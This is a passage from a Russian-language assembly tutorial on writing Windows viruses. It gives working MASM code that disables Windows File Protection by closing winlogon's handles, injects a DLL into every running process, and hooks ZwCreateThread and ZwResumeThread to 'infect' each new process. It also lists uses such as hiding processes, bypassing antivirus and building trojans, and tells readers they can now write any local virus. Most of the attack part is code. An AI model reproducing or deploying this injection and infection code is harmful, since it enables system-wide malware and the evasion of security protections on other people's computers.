	MaximumLength	WORD	?			; len of Buffer in bytes (not chars)
	Buffer			DWORD	?	; pointer to string
UNICODE_STRING ENDS

System_Handle_Information struct
	nHandleEntries DWORD ?
	pHandleInfo DWORD ? 
System_Handle_Information ends

CharUpperW PROTO :DWORD
lstrlenW PROTO :DWORD

STATUS_INFO_LENGTH_MISMATCH equ 0C0000004h
;===============================================================================;
;			Initialized Data Section				
;===============================================================================;
.data										
	Priv db "SeDebugPrivilege",0
	ntdll db "NTDLL.DLL",0
	FuncName db "NtQuerySystemInformation",0
	FuncName2 db "NtQueryObject",0
	pSystemHandleInfo dd 0
	SizeBuffer dd 0
	winlogon_str db "winlogon.exe",0
	hWinlogon dd 0
	WinDir1 dw "W","I","N","D","O","W","S","\","S","Y","S","T","E","M","3","2",0
	WinDir2 dw "W","I","N","N","T","\","S","Y","S","T","E","M","3","2",0
;===============================================================================;



;===============================================================================;
;			Uninitialized Data Section				
;===============================================================================;
.data?										
	_NtQuerySystemInformation dd ?	
	_NtQueryObject dd ?							
	uBuff dd ? 
	WinLogon_Id dd ?
	hCopy dd ?
ObjName label byte
	Name UNICODE_STRING <?>
	pBuffer db MAX_PATH+1 dup (?)
;===============================================================================;



;===============================================================================;
;				Code Section					
;===============================================================================;
.code
start:
	call EnableDebugPrivilege;Теперь у нас отладочные привилегии
	invoke GetModuleHandle,offset ntdll
	invoke GetProcAddress,eax,offset FuncName
	mov _NtQuerySystemInformation,eax
	invoke GetModuleHandle,offset ntdll
	invoke GetProcAddress,eax,offset FuncName2
	mov _NtQueryObject,eax
;===============================================================================;
;			Получаем описатель процесса Winlogon.exe		
;===============================================================================;
	push offset winlogon_str
	call GetPIDbyName
	mov WinLogon_Id,eax
	invoke OpenProcess,PROCESS_DUP_HANDLE,0,eax
	mov hWinlogon,eax
;===============================================================================;
;===============================================================================;
;		Определям размер буфера для получения списка хэндлов		
;===============================================================================;
	push offset SizeBuffer
	push 0
	push 0
	push 16;SystemHandleInformation
	call _NtQuerySystemInformation
	.if eax!=STATUS_INFO_LENGTH_MISMATCH
		jmp end_calc_size
	.endif
next_calc_size:
	add SizeBuffer,01000h
	.if pSystemHandleInfo!=0
		invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
	.endif
	invoke VirtualAlloc,NULL, SizeBuffer, MEM_COMMIT, PAGE_READWRITE
	mov pSystemHandleInfo,eax
	push offset uBuff
	push SizeBuffer
	push pSystemHandleInfo
	push 16
	call _NtQuerySystemInformation
	.if eax==STATUS_INFO_LENGTH_MISMATCH
		jmp next_calc_size
	.endif
end_calc_size:
;===============================================================================;
;===============================================================================;
;		Получаем все хэндлы и закрываем ненужные			
;===============================================================================;
	assume edi:ptr System_Handle_Information
	mov edi,pSystemHandleInfo
	mov ecx,[edi].nHandleEntries
	add edi,4
	;mov edi,[edi].pHandleInfo
	assume edi:ptr Handle_Info
	mov edx,0
next_handle:
	push ecx
	push edx
	mov eax,[edi].Pid
	.if eax==WinLogon_Id
		invoke GetCurrentProcess
		mov edx,eax
		xor eax,eax
		mov ax,[edi].HandleValue
		invoke DuplicateHandle,hWinlogon,eax,edx,offset hCopy,0,0,DUPLICATE_SAME_ACCESS
		.if eax!=0
			push 0
			push 214h;sizeof(ObjName)
			push offset ObjName
			push 1;ObjectNameInformation
			push hCopy
			call _NtQueryObject
			.if eax==0;StatusSuccess
				push edi
				mov edi,offset ObjName
				assume edi:ptr UNICODE_STRING
				mov edi,[edi].Buffer
				push edi
				call CharUpperW
				mov edi,offset ObjName
				assume edi:ptr UNICODE_STRING
				mov edi,[edi].Buffer
				push edi
				push offset WinDir1
				call CompareStringBackwards
				.if eax==1 
					jmp Yes
				.elseif 
					jmp No
				.endif
				mov edi,offset ObjName
				assume edi:ptr UNICODE_STRING
				mov edi,[edi].Buffer
				push edi
				push offset WinDir2
				call CompareStringBackwards
				.if eax==1 
					jmp Yes
				.elseif 
					jmp No
				.endif
Yes:
				invoke CloseHandle,hCopy
				pop edi
				assume edi:ptr Handle_Info
				xor eax,eax
				mov ax,[edi].HandleValue
				invoke DuplicateHandle,hWinlogon,eax,-1,offset hCopy,0,0,\
				       DUPLICATE_CLOSE_SOURCE or DUPLICATE_SAME_ACCESS
				invoke CloseHandle,hCopy
				push edi
			.endif
No:
		pop edi
		.endif
		invoke CloseHandle,hCopy
	.endif
	pop edx
	pop ecx
	inc edx
	.if edx>=ecx
		invoke VirtualFree,pSystemHandleInfo, 0, MEM_RELEASE
		invoke CloseHandle,hWinlogon
		invoke TerminateProcess,-1,0
	.endif
	add edi,16
	jmp next_handle
;===============================================================================;
;===============================================================================;
;			Включить отладочные привилегии				
;===============================================================================;
EnableDebugPrivilege proc
LOCAL hToken:DWORD
LOCAL tkp:TOKEN_PRIVILEGES
LOCAL ReturnLength:DWORD
LOCAL luid:LUID
	mov eax,0
	invoke OpenProcessToken,INVALID_HANDLE_VALUE, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,ADDR hToken
	invoke LookupPrivilegeValue,NULL,offset Priv,ADDR luid
	.IF eax==0
		invoke CloseHandle,hToken
		ret
	.ENDIF
	mov tkp.PrivilegeCount,1
	lea eax,tkp.Privileges
	assume eax:ptr LUID_AND_ATTRIBUTES
	push luid.LowPart
	pop [eax].Luid.LowPart

	push luid.HighPart
	pop [eax].Luid.HighPart

	mov [eax].Attributes,SE_PRIVILEGE_ENABLED
	
	invoke AdjustTokenPrivileges,hToken,NULL,ADDR tkp,sizeof tkp,ADDR tkp,ADDR ReturnLength
	invoke GetLastError
	.IF eax!=ERROR_SUCCESS
		ret
	.ENDIF
	invoke CloseHandle,hToken
	mov eax,1
	ret
EnableDebugPrivilege endp

;===============================================================================;
;			Процесс по имени
;===============================================================================;
GetPIDbyName proc Str1:DWORD
LOCAL pe:PROCESSENTRY32
LOCAL hSnap:DWORD
	invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
	mov hSnap,eax
	mov pe.dwSize,sizeof pe
	invoke Process32First,hSnap,addr pe
	.if eax==0
		ret
	.endif
next_process:
	invoke Process32Next,hSnap,addr pe
	.if eax==0
		ret
	.endif
	invoke lstrcmpi,addr pe.szExeFile,Str1
	.if eax==0
		mov eax,pe.th32ProcessID
		ret
	.endif
	jmp next_process
GetPIDbyName endp
;===============================================================================;
;===============================================================================;
;			Сравнить строки назад
;===============================================================================;
CompareStringBackwards proc pStr1:dword,pStr2:dword
LOCAL Len1:DWORD
LOCAL Len2:DWORD
	push esi
	push edi
	invoke lstrlenW,pStr1
	mov Len1,eax
	invoke lstrlenW,pStr2
	mov Len2,eax
	mov eax,Len1
	.if eax>Len2
		mov eax,0
		ret
	.endif
	mov edx,Len1
	add edx,Len1
	mov edi,pStr1
	add edi,edx

	mov edx,Len2
	add edx,Len2
	mov esi,pStr2
	add esi,edx

	mov ecx,Len1
	inc ecx
	std
	repe cmpsw
	add esi,2
	add edi,2
	xor eax,eax
	xor edx,edx
	mov ax,word ptr [esi]
	mov dx,word ptr [edi]
	.if (ecx==0)&&(eax==edx)
		mov eax,1
		pop edi
		pop esi
		ret
	.else
		mov eax,0
		pop edi
		pop esi
		ret
	.endif
CompareStringBackwards endp

end start
;===============================================================================;
;				End Program					
;===============================================================================;

Пример Закончен.

Глобальный перехват

Для установки в системе этого перехвата необходимо внедрить DLL в адресное пространство всех текущих процессов или просто скопировать код в Shell-код стиле (если мы не используем DLL), а также всех процессов, которые запустятся потом. Для внедрения во все текущие процессы используем  Toolhelp-функции для перечисления процессов. Также можно использовать функцию NtQuerySystemInformation, которая является Native для Toolhelp-функций, а также и для функций Enum... Вот код, который устанавливает перехват для всех запущенных процессов:

Пример:

;===============================================================================;
;					Options and Includes					
;===============================================================================;
.386										
option casemap:none								
.model flat,stdcall								
include \tools\masm32\include\windows.inc					
includelib \tools\masm32\lib\kernel32.lib					
include \tools\masm32\include\kernel32.inc					
include \tools\masm32\include\user32.inc					
includelib \tools\masm32\lib\user32.lib						
include \tools\masm32\include\advapi32.inc					
includelib \tools\masm32\lib\advapi32.lib					
;===============================================================================;

;===============================================================================;
;			Initialized Data Section				
;===============================================================================;
.data										
	lib db "c:\\dll.dll",0;имя DLL, которую внедряем в чужой процесс
	dwSize equ $-lib;Размер строки с именем DLL				
	kernelName db "kernel32.dll",0;Имя Kernel32.dll				
	loadlibraryName db "LoadLibraryA",0;Имя функции LoadLibraryA		
	_LoadLibrary dd 0;Адрес функции LoadLibrary				
	ParameterForLoadLibrary dd 0;Адрес строки с именем DLL в чужом процессе	
;===============================================================================;
;			Uninitialized Data Section				
;===============================================================================;
.data?										
;===============================================================================;
	ThreadId dd ?;Идентификатор треда					
	hSnap dd ?
	hProcess dd ?
	ProcEntry PROCESSENTRY32 <?>
;===============================================================================;
;				Code Section					
;===============================================================================;
.code
ThreadProc proc
	invoke Sleep,100000
	ret
ThreadProc endp
start:
	invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
	mov hSnap,eax
	mov ProcEntry.dwSize,sizeof PROCESSENTRY32
	invoke Process32First,hSnap,offset ProcEntry
NextProcess:
	invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or PROCESS_VM_OPERATION,\
	       0,ProcEntry.th32ProcessID;Открываем процесс куда будем внедрять DLL
	mov hProcess,eax
	invoke GetModuleHandle,offset kernelName;Получаем описатель модуля Kernel32.dll
	invoke GetProcAddress,eax,offset loadlibraryName;Получаем адрес функции LoadLibrary
	mov _LoadLibrary,eax
	;Выделяем память в удаленном процессе
	invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,PAGE_READWRITE
	mov ParameterForLoadLibrary,eax
	;Запись строки с именем DLL в АП чужого процесса
	invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
	;Создаем удаленный поток, который вызывает LoadLibrary, 
	;тем самым внедряем DLL в адресное пространство чужого процесса.  
	invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,ParameterForLoadLibrary,\
	                          NULL,offset ThreadId
	invoke Process32Next,hSnap,offset ProcEntry
	.if eax!=0
		jmp NextProcess
	.endif
	invoke ExitProcess,0
end start
;===============================================================================;
;				End Program							        
;===============================================================================;

Пример Закончен.

Чтобы глобально перехватывать функции можно использовать функцию SetWindowsHook. Тогда мы будет перехватывать нужную функцию во всех текущих GUI-приложениях, а также новых, т.к. если мы вызываем функцию SetWindowsHook, то она внедряет DLL и для всех новых процессов.

Другой способ в следующем. Необходимо перехватывать функции, которые создают процесс или которые вызываются при создании процесса. Т.о. мы будет устанавливать перехват и для всех новых процессов. В ОС Windows существует много функций, которые создают процессы – SHELL32.DLL!ShellExecute, KERNEL32.DLL!CreateProcess, NTDLL.DLL!NtCreateProcess. Нам необходимо выяснить какие действия происходят при создании любого процесса, используя любую из функций создания процессов в ОС.

Какой бы функцией не был создан процесс, при создании процесса вызывается функция ZwCreateThread. Вот ее прототип:

ZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
                    ObjectAttributes:DWORD, ProcessHandle:DWORD, \
					ClientId: DWORD, ThreadContext: DWORD, \
					UserStack:DWORD, CreateSuspended: DWORD

В параметре ClientId содержиться указатель на структуру, которая называется CLIENTID. Она определена так:

CLIENTID struct
	UniqueProcess DWORD 0
	UniqueThread DWORD 0
CLIENTID ends

UniqueProcess – это идентификатор процесса в котором создается поток. Делаем так: в обработчике ZwCreateThread после вызова нормальной функции ZwCreateThread проверяем UniqueProcess из структуры CLIENTID. Если это значение отличается от идентификатора нашего процесса, то заражаем процесс. Но не тут-то было!!! При заражении процесса вызов LoadLibrary окажется неудачным, потому что процесс еще не проинициализирован. Таким образом если идентификаторы нашего процесса и нового не совпали, то мы просто устанавливаем флажок NewProcess. А мы знаем, что при создании процесса основной поток приостановлен  до тех пор, пока процесс не будет проинициализирован. После того как новый процесс будет проинициализирован для основного потока вызывается функция ZwResumeThread. Значит и ее тоже надо перехватывать. Я сделал 2 макроса, которые сохраняют и соответственно восстанавливают регистры ESI, EDI, EBX, EBP. Вот эти макросы:

startproc macro
	push esi
	push edi
	push ebx
	push ebp
endm
endproc macro pop ebp pop ebx pop edi pop esi endm

Взгляните на обработчик ZwCreateThread:

Пример:

NewZwCreateThread proc ThreadHandle1:DWORD, DesiredAccess: DWORD, \
                       ObjectAttributes:DWORD, ProcessHandle:DWORD, \
					   ClientId: DWORD, ThreadContext: DWORD, \
					   UserStack:DWORD, CreateSuspended: DWORD
	startproc
	invoke GetCurrentProcess
	invoke WriteProcessMemory,eax,AddrCreateThread,offset Old_Code2,\
	       size_code2,0;снятие перехвата
	push TRUE
	push UserStack
	push ThreadContext
	push ClientId
	push ProcessHandle
	push ObjectAttributes
	push DesiredAccess
	push ThreadHandle1
	call AddrCreateThread
	push eax
	mov eax,CurrProcess
	mov edi,ClientId
	assume edi:PTR CLIENTID
	.if eax!=[edi].UniqueProcess
		mov NewProcess,1
	.endif
	
	.if CreateSuspended==0
		invoke ResumeThread,ThreadHandle1
	.endif
	invoke GetCurrentProcess
	invoke WriteProcessMemory,eax,AddrCreateThread,offset code2,\
	       size_code2,0;установка перехвата
	pop eax
	endproc
	ret
NewZwCreateThread endp

Пример Закончен.

 

Теперь нам надо перехватить ZwResumeThread. Вот ее прототип:

ZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD

Как видите нам передается описатель потока, работа которого возобновляется. Нам необходимо получить id процесса, которому принадлежит этот поток. Если этот id отличается от нашего id’а и установлен флаг NewProcess, то заражаем процесс. Id процесса по описателю потока можно получить с помощью функции NtQueryInformationThread. Вот ее прототип:

ZwQueryInformationThread proc ThreadHandle:DWORD,ThreadInformationClass:DWORD,\
                              ThreadInformation:DWORD,ThreadInformationLength:DWORD, \
							  ReturnLength:DWORD
  • ThreadHandle – описатель потока, о котором мы хотим узнать информацию.
  • ThreadInformation – указатель на структуру THREAD_BASIC_INFORMATION в случае ThreadInformationLength равным 0. Структура THREAD_BASIC_INFORMATION определена так:

THREAD_BASIC_INFORMATION struct
	ExitSTatus DWORD 0
	TebBaseAddress DWORD 0
	ClientId CLIENTID <0>
	AffinityMask DWORD 0
	Priority DWORD 0
	BasePriority DWORD 0
THREAD_BASIC_INFORMATION ends

Из вложенной структуры ClientId мы узнаем id процесса, которому принадлежит поток, т.к. при вызове функции ZwQueryInformationThread заполняется структура THREAD_BASIC_INFORMATION.

А вот исходный код обработчика ZwResumeThread:

Пример:

NewZwResumeThread proc ThreadHandle1:DWORD, PriviousSuspendCount: DWORD
LOCAL ThreadInfo:THREAD_BASIC_INFORMATION
LOCAL hProcess: DWORD
	startproc
	invoke GetCurrentProcess
	invoke WriteProcessMemory,eax,AddrResumeThread,offset Old_Code3,size_code3,0;снятие перехвата
	invoke GetModuleHandle,offset nt 
	invoke GetProcAddress,eax,offset QueryInfoStr
	push 0
	push 28;sizeof THread Basic information
	lea esi,ThreadInfo
	push esi
	push 0;ThreadBasicInfo
	push ThreadHandle1
	call eax;Вызов NtQueryInformationThread для получения id процесса из хэндла треда
	lea esi,ThreadInfo.ClientId
	assume esi:PTR CLIENTID
	mov eax,[esi].UniqueProcess
	.if eax!=CurrProcess
		.if NewProcess==1
		;заражаем новый процесс
		invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE or \
		       PROCESS_VM_OPERATION,0,eax;Открываем процесс куда будем внедрять DLL
		mov hProcess,eax
		;Получаем описатель модуля Kernel32.dll
		invoke GetModuleHandle,offset kern
		;Получаем адрес функции LoadLibrary
		invoke GetProcAddress,eax,offset loadlibraryName
		mov _LoadLibrary,eax
		invoke VirtualAllocEx,hProcess,NULL,dwSize,MEM_RESERVE or MEM_COMMIT,\
		       PAGE_READWRITE;Выделяем память в удаленном процессе
		mov ParameterForLoadLibrary,eax
		;Запись строки с именем DLL в АП чужого процесса
		invoke WriteProcessMemory,hProcess,eax,offset lib,dwSize,NULL
		;Создаем удаленный поток, который вызывает LoadLibrary, 
		;тем самым внедряем DLL в адресное пространство чужого процесса.  
		invoke CreateRemoteThread,hProcess,NULL,NULL,_LoadLibrary,\
		       ParameterForLoadLibrary,NULL,offset ThreadId
		invoke CloseHandle,hProcess
		mov NewProcess,0
		.endif 
	.endif
	push PriviousSuspendCount
	push ThreadHandle1
	call AddrResumeThread
	push eax
	invoke GetCurrentProcess
	invoke WriteProcessMemory,eax,AddrResumeThread,offset code3,size_code3,0;установка перехвата
	pop eax
	endproc
	ret
NewZwResumeThread endp

Пример Закончен.

В архиве прилагаемой к статье в папке GlobalHooking находиться программа и ее исходный код, где перехватывается MessageBoxA и MessageBoxW во всех текущих процессах и в новых.

Примеры использования перехвата вызовов функций

Вот список, где можно использовать перехват вызовов функций. Но он конечно не исчерпывающий.

  • Брандмауэр
  • Контроль сетевого трафика
  • Скрытие файлов
  • Скрытие сетевых соединений
  • Скрытие процессов
  • Продвинутое заражение
  • Обход брандмауэра
  • Обход антивируса
  • Эмуляция другой ОС
  • Взлом программ
  • Троянские программы

Использованные источники и источники для дальнейших исследований

SEH и VEH

  1. A Crash Course on the Depths of Win32™ Structured Exception Handling [Matt Pietrek] http://www.microsoft.com
  2. Обработка исключений Win32 для программистов на ассемблере [Jeremy Gordon] http://www.wasm.ru
  3. SEH(Structured Exception Handling) на службе контрреволюции [Крис Касперски] http://www.insidepro.com
  4. Эксплуатирование SEH в среде Win32. Часть первая. [houseofdabus] http://www.securitylab.ru
  5. New Vectored Exception Handling in Windows XP [Matt Pietrek] http://www.microsoft.com
  6. Централизованная обработка исключений [Беляев Алексей] http://www.rsdn.ru

Windows File Protection

  1. Windows File Protection: How To Disable It On The Fly [Ntoskrnl] http://www.rootkit.com

API Hooking

  1. Перехват API функций в Windows NT (часть 1). Основы перехвата. [Ms-Rem] http://www.wasm.ru
  2. Перехват API функций в Windows NT (часть 2). Методы внедрения кода. [Ms-Rem] http://www.wasm.ru
  3. Система перехвата функций API платформы Win32 [90210 / HI-TECH] http://www.wasm.ru
  4. API hooking revealed [Ivo Ivanov] http://lib.training.ru/Lib/ArticleDetail.aspx?ar=1596&l=&mi=105&mic=352
  5. API Spying [Сергей Холодилов] http://www.rsdn.ru
  6. API Spying Techniques for Windows 9x, NT and 2000 [Yariv Kaplan] http://www.internals.com/articles/apispy/apispy.htm
  7. HOWTO: Вызов функции в другом процессе [Сергей Холодилов] http://www.rsdn.ru
  8. Перехват API-функций в Windows NT/2000/XP [Тихомиров В.А.] http://www.rsdn.ru
  9. Перехват данных Internet Explorer [Matt Pietrek] http://www.codenet.ru/progr/visualc/ie.php
  10. Per-process residency review: common mistakes [Bumblebee / 29A] http://vx.netlux.org
  11. Hooking Windows API – Technics of hooking API functions on Windows [Holy Father] http://www.Assembly-Journal.com

Заключение

В этой главе мы рассмотрели несколько очень важных техник, без которых далеко не уйдешь. Они используются не только при программировании вирусов, но и вообще в системном программировании. Теперь используя полученный материал, Вы можете программировать любые локальные вирусы. Я понимаю, что этот материал нельзя освоить за один наскок, но Вы должны стараться. Во всяком случае, Вы будете приближаться к истинному пониманию работы ОС Windows, ее идеологии, подводных камнях и т.д. И наша задача заключается именно в понимании тонкостей работы ОС Windows. Я надеюсь, что не будете никому вредить, используя полученные знания. Я категорически против деструкции в вирусах. Лучше напрягитесь и сделайте какую-нибудь красивую или оригинальную полезную нагрузку, чтобы ЮЗВЕРЬ упал со стула от удивления, например, когда его компьютер начнет пукать :)

Если у Вас есть замечания по статье или вопросы, то свяжитесь со мной по адресу BILL_TPOC@MAIL.RU.

The Passion Of Code ( TPOC ) Laboratory

Я представляю лабораторию The Passion Of Code ( TPOC ) и заявляю: если у Вас есть желание вникать в тонкости ОС и Вы уже что-то умеете, то я прошу Вас связаться со мной по адресу BILL_TPOC@MAIL.RU. Но не беспокойте пожалуйста меня те люди, которых надо подгонять что-то делать – у Вас должен быть свой энтузиазм. Сайт нашей лаборатории http://tpoc.h15.ru.

Спасибо…

DayDream, BlackFox, _follower / TPOC, FreeMan / TPOC

Также хотел бы сказать спасибо Ms-Rem за его замечательную статью “Перехват API функций в Windows NT (часть 2). Методы внедрения кода”

Файлы к статье.

2002-2013 (c) wasm.ru